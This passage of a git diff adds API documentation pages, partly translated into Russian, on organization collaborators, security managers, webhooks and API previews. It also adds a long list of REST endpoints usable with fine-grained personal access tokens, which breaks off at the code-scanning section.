b/translations/ru-RU/content/rest/orgs/outside-collaborators.md new file mode 100644 index 000000000000..2ec16170b3b9 --- /dev/null +++ b/translations/ru-RU/content/rest/orgs/outside-collaborators.md @@ -0,0 +1,19 @@ +--- +title: Сторонние участники совместной работы +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: d8ce4a4518ffe5d2bf8e590a6a0f9de4e2a8a14e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147065525' +--- + diff --git a/translations/ru-RU/content/rest/orgs/security-managers.md b/translations/ru-RU/content/rest/orgs/security-managers.md new file mode 100644 index 000000000000..a7b88bc71f07 --- /dev/null +++ b/translations/ru-RU/content/rest/orgs/security-managers.md @@ -0,0 +1,21 @@ +--- +title: Диспетчеры безопасности +intro: '' +versions: + fpt: '*' + ghes: '>=3.7' + ghae: '>= 3.7' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 85ec018cf1b6117d462eb30b67ef88fe67645f86 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147878804' +--- +{% data reusables.organizations.security-manager-beta-note %} + +{% data reusables.organizations.about-security-managers %} diff --git a/translations/ru-RU/content/rest/orgs/webhooks.md b/translations/ru-RU/content/rest/orgs/webhooks.md new file mode 100644 index 000000000000..52e5c3e60522 --- /dev/null +++ b/translations/ru-RU/content/rest/orgs/webhooks.md @@ -0,0 +1,44 @@ +--- +title: Веб-перехватчики организации +allowTitleToDifferFromFilename: true +shortTitle: Webhooks +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 68b043b92589bf1c1b3a6b543168d5b5b8c85118 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147066845' +--- +## Сведения об API веб-перехватчиков организации + +Веб-перехватчики организации позволяют получать полезные данные HTTP-запроса `POST` всякий раз, когда в организации происходят определенные события. {% data reusables.webhooks.webhooks-rest-api-links %} + +Дополнительные сведения о действиях, на которые можно подписаться, см. в разделе [Типы событий {% data variables.product.prodname_dotcom %}](/developers/webhooks-and-events/github-event-types). + +### Область действия и ограничения + +Любые действия с веб-перехватчиками организации может выполнять только прошедший проверку подлинности пользователь, являющийся администратором управляемой организации. Кроме того, токены OAuth должны иметь область действия `admin:org_hook`. Дополнительные сведения см. в разделе [Области для приложений OAuth](/developers/apps/scopes-for-oauth-apps). + +Чтобы защитить конфиденциальные данные, которые могут присутствовать в конфигурациях веб-перехватчика, также применяются следующие правила управления доступом: + +- Приложения OAuth могут перечислять, просматривать или изменять только те веб-перехватчики, которые были созданы ими. +- Пользователи не могут перечислять, просматривать или изменять веб-перехватчики, создаваемые приложениями OAuth. + +### Получение веб-перехватчиков + +Для отправки полезных данных веб-перехватчика из {% data variables.product.product_name %} требуется доступ к серверу через Интернет. Также настоятельно рекомендуется использовать SSL для передачи зашифрованных полезных данных по протоколу HTTPS. + +Дополнительные рекомендации см. в нашем [руководстве](/guides/best-practices-for-integrators/). + +#### Заголовки веб-перехватчиков + +{% data variables.product.product_name %} может отправлять несколько разных заголовков HTTP, которые позволяют различать типы событий и идентификаторы полезных данных. Дополнительные сведения см. разделе [Заголовки веб-перехватчика](/webhooks/event-payloads/#delivery-headers). diff --git a/translations/ru-RU/content/rest/overview/api-previews.md b/translations/ru-RU/content/rest/overview/api-previews.md new file mode 100644 index 000000000000..9ec7f2ffc972 --- /dev/null +++ b/translations/ru-RU/content/rest/overview/api-previews.md @@ -0,0 +1,29 @@ +--- +title: API previews +intro: You can use API previews to try out new features and provide feedback before these features become official. +redirect_from: + - /v3/previews +versions: + ghes: <3.4 +topics: + - API +--- + + +API previews let you try out new APIs and changes to existing API methods before they become part of the official GitHub API. + +During the preview period, we may change some features based on developer feedback. If we do make changes, we'll announce them on the [developer blog](https://developer.github.com/changes/) without advance notice. + +To access an API preview, you'll need to provide a custom [media type](/rest/overview/media-types) in the `Accept` header for your requests. Feature documentation for each preview specifies which custom media type to provide. + +{% ifversion ghes < 3.4 %} +## Content attachments + +You can now provide more information in GitHub for URLs that link to registered domains by using the {% data variables.product.prodname_unfurls %} API. See "[Using content attachments](/apps/using-content-attachments/)" for more details. + +**Custom media types:** `corsair-preview` +**Announced:** [2018-12-10](https://developer.github.com/changes/2018-12-10-content-attachments-api/) + +{% endif %} + + diff --git a/translations/ru-RU/content/rest/overview/endpoints-available-for-fine-grained-personal-access-tokens.md b/translations/ru-RU/content/rest/overview/endpoints-available-for-fine-grained-personal-access-tokens.md new file mode 100644 index 000000000000..e27900a74605 --- /dev/null +++ b/translations/ru-RU/content/rest/overview/endpoints-available-for-fine-grained-personal-access-tokens.md @@ -0,0 +1,824 @@ +--- +title: Endpoints available for fine-grained personal access tokens +intro: 'Your {% data variables.product.pat_v2 %} can make requests to the following REST endpoints.' +versions: + feature: pat-v2 +shortTitle: '{% data variables.product.pat_v2_caps %}-enabled endpoints' +--- + +## actions + +- [`GET /repos/{owner}/{repo}/actions/cache/usage`](/rest/reference/actions#get-github-actions-cache-usage-for-a-repository) +- [`GET /repos/{owner}/{repo}/actions/caches`](/rest/actions/cache#list-github-actions-caches-for-a-repository) +- [`DELETE /repos/{owner}/{repo}/actions/caches`](/rest/actions/cache#delete-github-actions-caches-for-a-repository-using-a-cache-key) +- [`DELETE /repos/{owner}/{repo}/actions/caches/{cache_id}`](/rest/actions/cache#delete-a-github-actions-cache-for-a-repository-using-a-cache-id) +- [`GET /repos/{owner}/{repo}/actions/secrets`](/rest/reference/actions#list-repository-secrets) +- [`GET /repos/{owner}/{repo}/actions/secrets/{secret_name}`](/rest/reference/actions#get-a-repository-secret) +- [`PUT /repos/{owner}/{repo}/actions/secrets/{secret_name}`](/rest/reference/actions#create-or-update-a-repository-secret) +- [`DELETE /repos/{owner}/{repo}/actions/secrets/{secret_name}`](/rest/reference/actions#delete-a-repository-secret) +- [`GET /repos/{owner}/{repo}/actions/secrets/public-key`](/rest/reference/actions#get-a-repository-public-key) +- [`GET /repos/{owner}/{repo}/actions/artifacts`](/rest/reference/actions#list-artifacts-for-a-repository) +- [`GET /repos/{owner}/{repo}/actions/artifacts/{artifact_id}`](/rest/reference/actions#get-an-artifact) +- [`DELETE /repos/{owner}/{repo}/actions/artifacts/{artifact_id}`](/rest/reference/actions#delete-an-artifact) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/artifacts`](/rest/reference/actions#list-workflow-run-artifacts) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/pending_deployments`](/rest/reference/actions#get-pending-deployments-for-a-workflow-run) +- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/pending_deployments`](/rest/reference/actions#review-pending-deployments-for-a-workflow-run) +- [`GET /enterprises/{enterprise}/actions/cache/usage`](/rest/reference/actions#get-github-actions-cache-usage-for-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/permissions`](/rest/reference/actions#get-github-actions-permissions-for-an-enterprise) +- [`PUT /enterprises/{enterprise}/actions/permissions`](/rest/reference/actions#set-github-actions-permissions-for-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/permissions/organizations`](/rest/reference/actions#list-selected-organizations-enabled-for-github-actions-in-an-enterprise) +- [`PUT /enterprises/{enterprise}/actions/permissions/organizations`](/rest/reference/actions#set-selected-organizations-enabled-for-github-actions-in-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/permissions/selected-actions`](/rest/reference/actions#get-allowed-actions-for-an-enterprise) +- [`PUT /enterprises/{enterprise}/actions/permissions/selected-actions`](/rest/reference/actions#set-allowed-actions-for-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/permissions/workflow`](/rest/reference/actions#get-default-workflow-permissions-for-an-enterprise) +- [`PUT /enterprises/{enterprise}/actions/permissions/workflow`](/rest/reference/actions#set-default-workflow-permissions-for-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/runner-groups`](/rest/reference/actions#list-self-hosted-runner-groups-for-an-enterprise) +- [`POST /enterprises/{enterprise}/actions/runner-groups`](/rest/reference/actions#create-self-hosted-runner-group-for-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#get-a-self-hosted-runner-group-for-an-enterprise) +- [`PATCH /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#update-a-self-hosted-runner-group-for-an-enterprise) +- [`DELETE /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#delete-a-self-hosted-runner-group-from-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}/organizations`](/rest/reference/actions#list-organization-access-to-a-self-hosted-runner-group-in-a-enterprise) +- [`PUT /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}/organizations`](/rest/reference/actions#set-organization-access-to-a-self-hosted-runner-group-in-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}/runners`](/rest/reference/actions#list-self-hosted-runners-in-a-group-for-an-enterprise) +- [`PUT /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}/runners`](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-enterprise) +- [`PUT /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}/runners/{runner_id}`](/rest/reference/actions#add-a-self-hosted-runner-to-a-group-for-an-enterprise) +- [`DELETE /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}/runners/{runner_id}`](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/runners/{runner_id}`](/rest/reference/actions#get-a-self-hosted-runner-for-an-enterprise) +- [`DELETE /enterprises/{enterprise}/actions/runners/{runner_id}`](/rest/reference/actions#delete-self-hosted-runner-from-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/runners/{runner_id}/labels`](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-an-enterprise) +- [`POST /enterprises/{enterprise}/actions/runners/{runner_id}/labels`](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-an-enterprise) +- [`PUT /enterprises/{enterprise}/actions/runners/{runner_id}/labels`](/rest/reference/actions#set-custom-labels-for-a-self-hosted-runner-for-an-enterprise) +- [`DELETE /enterprises/{enterprise}/actions/runners/{runner_id}/labels`](/rest/reference/actions#remove-all-custom-labels-from-a-self-hosted-runner-for-an-enterprise) +- [`DELETE /enterprises/{enterprise}/actions/runners/{runner_id}/labels/{name}`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-an-enterprise) +- [`POST /enterprises/{enterprise}/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-an-enterprise) +- [`POST /enterprises/{enterprise}/actions/runners/remove-token`](/rest/reference/actions#create-a-remove-token-for-an-enterprise) +- [`GET /repos/{owner}/{repo}/actions/jobs/{job_id}`](/rest/reference/actions#get-a-job-for-a-workflow-run) +- [`GET /repos/{owner}/{repo}/actions/jobs/{job_id}/logs`](/rest/reference/actions#download-job-logs-for-a-workflow-run) +- [`POST /repos/{owner}/{repo}/actions/jobs/{job_id}/rerun`](/rest/reference/actions#re-run-job-for-workflow-run) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/attempts/{attempt_number}/jobs`](/rest/reference/actions#list-jobs-for-a-workflow-run-attempt) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/jobs`](/rest/reference/actions#list-jobs-for-a-workflow-run) +- [`GET /orgs/{org}/actions/cache/usage`](/rest/reference/actions#get-github-actions-cache-usage-for-an-organization) +- [`GET /orgs/{org}/actions/cache/usage-by-repository`](/rest/reference/actions#list-repositories-with-github-actions-cache-usage-for-an-organization) +- [`GET /orgs/{org}/actions/permissions`](/rest/reference/actions#get-github-actions-permissions-for-an-organization) +- [`PUT /orgs/{org}/actions/permissions`](/rest/reference/actions#set-github-actions-permissions-for-an-organization) +- [`GET /orgs/{org}/actions/permissions/repositories`](/rest/reference/actions#list-selected-repositories-enabled-for-github-actions-in-an-organization) +- [`PUT /orgs/{org}/actions/permissions/repositories`](/rest/reference/actions#set-selected-repositories-enabled-for-github-actions-in-an-organization) +- [`GET /orgs/{org}/actions/permissions/selected-actions`](/rest/reference/actions#get-allowed-actions-for-an-organization) +- [`PUT /orgs/{org}/actions/permissions/selected-actions`](/rest/reference/actions#set-allowed-actions-for-an-organization) +- [`GET /orgs/{org}/actions/permissions/workflow`](/rest/reference/actions#get-default-workflow-permissions) +- [`PUT /orgs/{org}/actions/permissions/workflow`](/rest/reference/actions#set-default-workflow-permissions) +- [`GET /orgs/{org}/actions/secrets`](/rest/reference/actions#list-organization-secrets) +- [`GET /orgs/{org}/actions/secrets/{secret_name}`](/rest/reference/actions#get-an-organization-secret) +- [`PUT /orgs/{org}/actions/secrets/{secret_name}`](/rest/reference/actions#create-or-update-an-organization-secret) +- [`DELETE /orgs/{org}/actions/secrets/{secret_name}`](/rest/reference/actions#delete-an-organization-secret) +- [`GET /orgs/{org}/actions/secrets/{secret_name}/repositories`](/rest/reference/actions#list-selected-repositories-for-an-organization-secret) +- [`PUT /orgs/{org}/actions/secrets/{secret_name}/repositories`](/rest/reference/actions#set-selected-repositories-for-an-organization-secret) +- [`GET /orgs/{org}/actions/secrets/public-key`](/rest/reference/actions#get-an-organization-public-key) +- [`GET /orgs/{org}/actions/runner-groups`](/rest/reference/actions#list-self-hosted-runner-groups-for-an-organization) +- [`POST /orgs/{org}/actions/runner-groups`](/rest/reference/actions#create-a-self-hosted-runner-group-for-an-organization) +- [`GET /orgs/{org}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#get-a-self-hosted-runner-group-for-an-organization) +- [`PATCH /orgs/{org}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#update-a-self-hosted-runner-group-for-an-organization) +- [`DELETE /orgs/{org}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#delete-a-self-hosted-runner-group-from-an-organization) +- [`GET /orgs/{org}/actions/runner-groups/{runner_group_id}/repositories`](/rest/reference/actions#list-repository-access-to-a-self-hosted-runner-group-in-an-organization) +- [`PUT /orgs/{org}/actions/runner-groups/{runner_group_id}/repositories`](/rest/reference/actions#set-repository-access-to-a-self-hosted-runner-group-in-an-organization) +- [`GET /orgs/{org}/actions/runner-groups/{runner_group_id}/runners`](/rest/reference/actions#list-self-hosted-runners-in-a-group-for-an-organization) +- [`PUT /orgs/{org}/actions/runner-groups/{runner_group_id}/runners`](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization) +- [`PUT /orgs/{org}/actions/runner-groups/{runner_group_id}/runners/{runner_id}`](/rest/reference/actions#add-a-self-hosted-runner-to-a-group-for-an-organization) +- [`DELETE /orgs/{org}/actions/runner-groups/{runner_group_id}/runners/{runner_id}`](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization) +- [`GET /orgs/{org}/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-an-organization) +- [`GET /orgs/{org}/actions/runners/{runner_id}`](/rest/reference/actions#get-a-self-hosted-runner-for-an-organization) +- [`DELETE /orgs/{org}/actions/runners/{runner_id}`](/rest/reference/actions#delete-a-self-hosted-runner-from-an-organization) +- [`GET /orgs/{org}/actions/runners/{runner_id}/labels`](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-an-organization) +- [`POST /orgs/{org}/actions/runners/{runner_id}/labels`](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-an-organization) +- [`PUT /orgs/{org}/actions/runners/{runner_id}/labels`](/rest/reference/actions#set-custom-labels-for-a-self-hosted-runner-for-an-organization) +- [`DELETE /orgs/{org}/actions/runners/{runner_id}/labels`](/rest/reference/actions#remove-all-custom-labels-from-a-self-hosted-runner-for-an-organization) +- [`DELETE /orgs/{org}/actions/runners/{runner_id}/labels/{name}`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-an-organization) +- [`GET /orgs/{org}/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-an-organization) +- [`POST /orgs/{org}/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-an-organization) +- [`POST /orgs/{org}/actions/runners/remove-token`](/rest/reference/actions#create-a-remove-token-for-an-organization) +- [`GET /repos/{owner}/{repo}/actions/permissions`](/rest/reference/actions#get-github-actions-permissions-for-a-repository) +- [`PUT /repos/{owner}/{repo}/actions/permissions`](/rest/reference/actions#set-github-actions-permissions-for-a-repository) +- [`GET /repos/{owner}/{repo}/actions/permissions/access`](/rest/reference/actions#get-workflow-access-level-to-a-repository) +- [`PUT /repos/{owner}/{repo}/actions/permissions/access`](/rest/reference/actions#set-workflow-access-to-a-repository) +- [`GET /repos/{owner}/{repo}/actions/permissions/selected-actions`](/rest/reference/actions#get-allowed-actions-for-a-repository) +- [`PUT /repos/{owner}/{repo}/actions/permissions/selected-actions`](/rest/reference/actions#set-allowed-actions-for-a-repository) +- [`GET /repos/{owner}/{repo}/actions/permissions/workflow`](/rest/reference/actions#get-default-workflow-permissions-for-a-repository) +- [`PUT /repos/{owner}/{repo}/actions/permissions/workflow`](/rest/reference/actions#set-default-workflow-permissions-for-a-repository) +- [`GET /repos/{owner}/{repo}/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-a-repository) +- [`GET /repos/{owner}/{repo}/actions/runners/{runner_id}`](/rest/reference/actions#get-a-self-hosted-runner-for-a-repository) +- [`DELETE /repos/{owner}/{repo}/actions/runners/{runner_id}`](/rest/reference/actions#delete-a-self-hosted-runner-from-a-repository) +- [`GET /repos/{owner}/{repo}/actions/runners/{runner_id}/labels`](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-a-repository) +- [`POST /repos/{owner}/{repo}/actions/runners/{runner_id}/labels`](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-a-repository) +- [`PUT /repos/{owner}/{repo}/actions/runners/{runner_id}/labels`](/rest/reference/actions#set-custom-labels-for-a-self-hosted-runner-for-a-repository) +- [`DELETE /repos/{owner}/{repo}/actions/runners/{runner_id}/labels`](/rest/reference/actions#remove-all-custom-labels-from-a-self-hosted-runner-for-a-repository) +- [`DELETE /repos/{owner}/{repo}/actions/runners/{runner_id}/labels/{name}`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-a-repository) +- [`GET /repos/{owner}/{repo}/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-a-repository) +- [`POST /repos/{owner}/{repo}/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-a-repository) +- [`POST /repos/{owner}/{repo}/actions/runners/remove-token`](/rest/reference/actions#create-a-remove-token-for-a-repository) +- [`GET /repos/{owner}/{repo}/actions/runs`](/rest/reference/actions#list-workflow-runs-for-a-repository) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}`](/rest/reference/actions#get-a-workflow-run) +- [`DELETE /repos/{owner}/{repo}/actions/runs/{run_id}`](/rest/reference/actions#delete-a-workflow-run) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/approvals`](/rest/reference/actions#get-the-review-history-for-a-workflow-run) +- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/approve`](/rest/reference/actions#approve-a-workflow-run-for-a-fork-pull-request) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/attempts/{attempt_number}`](/rest/reference/actions#get-a-workflow-run-attempt) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/attempts/{attempt_number}/logs`](/rest/reference/actions#download-workflow-run-attempt-logs) +- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/cancel`](/rest/reference/actions#cancel-a-workflow-run) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/logs`](/rest/reference/actions#download-workflow-run-logs) +- [`DELETE /repos/{owner}/{repo}/actions/runs/{run_id}/logs`](/rest/reference/actions#delete-workflow-run-logs) +- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/rerun`](/rest/reference/actions#re-run-a-workflow) +- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/rerun-failed-jobs`](/rest/reference/actions#re-run-workflow-failed-jobs) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/timing`](/rest/reference/actions#get-workflow-run-usage) +- [`GET /repos/{owner}/{repo}/actions/workflows/{workflow_id}/runs`](/rest/reference/actions#list-workflow-runs) +- [`GET /repos/{owner}/{repo}/actions/workflows`](/rest/reference/actions#list-repository-workflows) +- [`GET /repos/{owner}/{repo}/actions/workflows/{workflow_id}`](/rest/reference/actions#get-a-workflow) +- [`PUT /repos/{owner}/{repo}/actions/workflows/{workflow_id}/disable`](/rest/reference/actions#disable-a-workflow) +- [`POST /repos/{owner}/{repo}/actions/workflows/{workflow_id}/dispatches`](/rest/reference/actions#create-a-workflow-dispatch-event) +- [`PUT /repos/{owner}/{repo}/actions/workflows/{workflow_id}/enable`](/rest/reference/actions#enable-a-workflow) +- [`GET /repos/{owner}/{repo}/actions/workflows/{workflow_id}/timing`](/rest/reference/actions#get-workflow-usage) + +## activity + +- [`GET /events`](/rest/reference/activity#list-public-events) +- [`GET /networks/{owner}/{repo}/events`](/rest/reference/activity#list-public-events-for-a-network-of-repositories) +- [`GET /orgs/{org}/events`](/rest/reference/activity#list-public-organization-events) +- [`GET /repos/{owner}/{repo}/events`](/rest/reference/activity#list-repository-events) +- [`GET /users/{username}/events`](/rest/reference/activity#list-events-for-the-authenticated-user) +- [`GET /users/{username}/events/orgs/{org}`](/rest/reference/activity#list-organization-events-for-the-authenticated-user) +- [`GET /users/{username}/events/public`](/rest/reference/activity#list-public-events-for-a-user) +- [`GET /users/{username}/received_events`](/rest/reference/activity#list-events-received-by-the-authenticated-user) +- [`GET /users/{username}/received_events/public`](/rest/reference/activity#list-public-events-received-by-a-user) +- [`GET /feeds`](/rest/reference/activity#get-feeds) +- [`GET /notifications`](/rest/reference/activity#list-notifications-for-the-authenticated-user) +- [`PUT /notifications`](/rest/reference/activity#mark-notifications-as-read) +- [`GET /notifications/threads/{thread_id}`](/rest/reference/activity#get-a-thread) +- [`PATCH /notifications/threads/{thread_id}`](/rest/reference/activity#mark-a-thread-as-read) +- [`GET /notifications/threads/{thread_id}/subscription`](/rest/reference/activity#get-a-thread-subscription-for-the-authenticated-user) +- [`PUT /notifications/threads/{thread_id}/subscription`](/rest/reference/activity#set-a-thread-subscription) +- [`DELETE /notifications/threads/{thread_id}/subscription`](/rest/reference/activity#delete-a-thread-subscription) +- [`GET /repos/{owner}/{repo}/notifications`](/rest/reference/activity#list-repository-notifications-for-the-authenticated-user) +- [`PUT /repos/{owner}/{repo}/notifications`](/rest/reference/activity#mark-repository-notifications-as-read) +- [`GET /repos/{owner}/{repo}/subscription`](/rest/reference/activity#get-a-repository-subscription) +- [`PUT /repos/{owner}/{repo}/subscription`](/rest/reference/activity#set-a-repository-subscription) +- [`DELETE /repos/{owner}/{repo}/subscription`](/rest/reference/activity#delete-a-repository-subscription) +- [`GET /repos/{owner}/{repo}/stargazers`](/rest/reference/activity#list-stargazers) +- [`GET /repos/{owner}/{repo}/subscribers`](/rest/reference/activity#list-watchers) +- [`GET /users/{username}/starred`](/rest/reference/activity#list-repositories-starred-by-a-user) +- [`GET /users/{username}/subscriptions`](/rest/reference/activity#list-repositories-watched-by-a-user) +- [`GET /user/starred`](/rest/reference/activity#list-repositories-starred-by-the-authenticated-user) +- [`GET /user/starred/{owner}/{repo}`](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user) +- [`PUT /user/starred/{owner}/{repo}`](/rest/reference/activity#star-a-repository-for-the-authenticated-user) +- [`DELETE /user/starred/{owner}/{repo}`](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user) +- [`GET /user/subscriptions`](/rest/reference/activity#list-repositories-watched-by-the-authenticated-user) + +## apps + +- [`DELETE /applications/{client_id}/grant`](/rest/reference/apps#delete-an-app-authorization) +- [`POST /applications/{client_id}/token`](/rest/reference/apps#check-a-token) +- [`PATCH /applications/{client_id}/token`](/rest/reference/apps#reset-a-token) +- [`DELETE /applications/{client_id}/token`](/rest/reference/apps#delete-an-app-token) +- [`POST /applications/{client_id}/token/scoped`](/rest/reference/apps#create-a-scoped-access-token) +- [`GET /installation/repositories`](/rest/reference/apps#list-repositories-accessible-to-the-app-installation) +- [`DELETE /installation/token`](/rest/reference/apps#revoke-an-installation-access-token) +- [`GET /user/installations/{installation_id}/repositories`](/rest/reference/apps#list-repositories-accessible-to-the-user-access-token) +- [`PUT /user/installations/{installation_id}/repositories/{repository_id}`](/rest/reference/apps#add-a-repository-to-an-app-installation) +- [`DELETE /user/installations/{installation_id}/repositories/{repository_id}`](/rest/reference/apps#remove-a-repository-from-an-app-installation) +- [`POST /app-manifests/{code}/conversions`](/rest/reference/apps#create-a-github-app-from-a-manifest) +- [`GET /app`](/rest/reference/apps#get-the-authenticated-app) +- [`GET /app/hook/config`](/rest/reference/apps#get-a-webhook-configuration-for-an-app) +- [`PATCH /app/hook/config`](/rest/reference/apps#update-a-webhook-configuration-for-an-app) +- [`GET /app/hook/deliveries`](/rest/reference/apps#list-deliveries-for-an-app-webhook) +- [`GET /app/hook/deliveries/{delivery_id}`](/rest/reference/apps#get-a-delivery-for-an-app-webhook) +- [`POST /app/hook/deliveries/{delivery_id}/attempts`](/rest/reference/apps#redeliver-a-delivery-for-an-app-webhook) +- [`GET /app/installations`](/rest/reference/apps#list-installations-for-the-authenticated-app) +- [`GET /app/installations/{installation_id}`](/rest/reference/apps#get-an-installation-for-the-authenticated-app) +- [`DELETE /app/installations/{installation_id}`](/rest/reference/apps#delete-an-installation-for-the-authenticated-app) +- [`POST /app/installations/{installation_id}/access_tokens`](/rest/reference/apps/#create-an-installation-access-token-for-an-app) +- [`PUT /app/installations/{installation_id}/suspended`](/rest/reference/apps#suspend-an-app-installation) +- [`DELETE /app/installations/{installation_id}/suspended`](/rest/reference/apps#unsuspend-an-app-installation) +- [`GET /orgs/{org}/installation`](/rest/reference/apps#get-an-organization-installation-for-the-authenticated-app) +- [`GET /repos/{owner}/{repo}/installation`](/rest/reference/apps#get-a-repository-installation-for-the-authenticated-app) +- [`GET /users/{username}/installation`](/rest/reference/apps#get-a-user-installation-for-the-authenticated-app) +- [`GET /marketplace_listing/accounts/{account_id}`](/rest/reference/apps#get-a-subscription-plan-for-an-account) +- [`GET /marketplace_listing/plans`](/rest/reference/apps#list-plans) +- [`GET /marketplace_listing/plans/{plan_id}/accounts`](/rest/reference/apps#list-accounts-for-a-plan) +- [`GET /marketplace_listing/stubbed/accounts/{account_id}`](/rest/reference/apps#get-a-subscription-plan-for-an-account-stubbed) +- [`GET /marketplace_listing/stubbed/plans`](/rest/reference/apps#list-plans-stubbed) +- [`GET /marketplace_listing/stubbed/plans/{plan_id}/accounts`](/rest/reference/apps#list-accounts-for-a-plan-stubbed) +- [`GET /user/installations`](/rest/reference/apps#list-app-installations-accessible-to-the-user-access-token) +- [`GET /user/marketplace_purchases`](/rest/reference/apps#list-subscriptions-for-the-authenticated-user) +- [`GET /user/marketplace_purchases/stubbed`](/rest/reference/apps#list-subscriptions-for-the-authenticated-user-stubbed) + +## billing + +- [`GET /orgs/{org}/settings/billing/actions`](/rest/reference/billing#get-github-actions-billing-for-an-organization) +- [`GET /orgs/{org}/settings/billing/advanced-security`](/rest/reference/billing#get-github-advanced-security-active-committers-for-an-organization) +- [`GET /orgs/{org}/settings/billing/packages`](/rest/reference/billing#get-github-packages-billing-for-an-organization) +- [`GET /orgs/{org}/settings/billing/shared-storage`](/rest/reference/billing#get-shared-storage-billing-for-an-organization) +- [`GET /users/{username}/settings/billing/actions`](/rest/reference/billing#get-github-actions-billing-for-a-user) +- [`GET /users/{username}/settings/billing/packages`](/rest/reference/billing#get-github-packages-billing-for-a-user) +- [`GET /users/{username}/settings/billing/shared-storage`](/rest/reference/billing#get-shared-storage-billing-for-a-user) + +## checks + +- [`POST /repos/{owner}/{repo}/check-runs`](/rest/reference/checks#create-a-check-run) +- [`GET /repos/{owner}/{repo}/check-runs/{check_run_id}`](/rest/reference/checks#get-a-check-run) +- [`PATCH /repos/{owner}/{repo}/check-runs/{check_run_id}`](/rest/reference/checks#update-a-check-run) +- [`GET /repos/{owner}/{repo}/check-runs/{check_run_id}/annotations`](/rest/reference/checks#list-check-run-annotations) +- [`POST /repos/{owner}/{repo}/check-runs/{check_run_id}/rerequest`](/rest/reference/checks#rerequest-a-check-run) +- [`GET /repos/{owner}/{repo}/check-suites/{check_suite_id}/check-runs`](/rest/reference/checks#list-check-runs-in-a-check-suite) +- [`POST /repos/{owner}/{repo}/check-suites`](/rest/reference/checks#create-a-check-suite) +- [`GET /repos/{owner}/{repo}/check-suites/{check_suite_id}`](/rest/reference/checks#get-a-check-suite) +- [`POST /repos/{owner}/{repo}/check-suites/{check_suite_id}/rerequest`](/rest/reference/checks#rerequest-a-check-suite) +- [`PATCH /repos/{owner}/{repo}/check-suites/preferences`](/rest/reference/checks#update-repository-preferences-for-check-suites) + +## code-scanning + +- [`GET 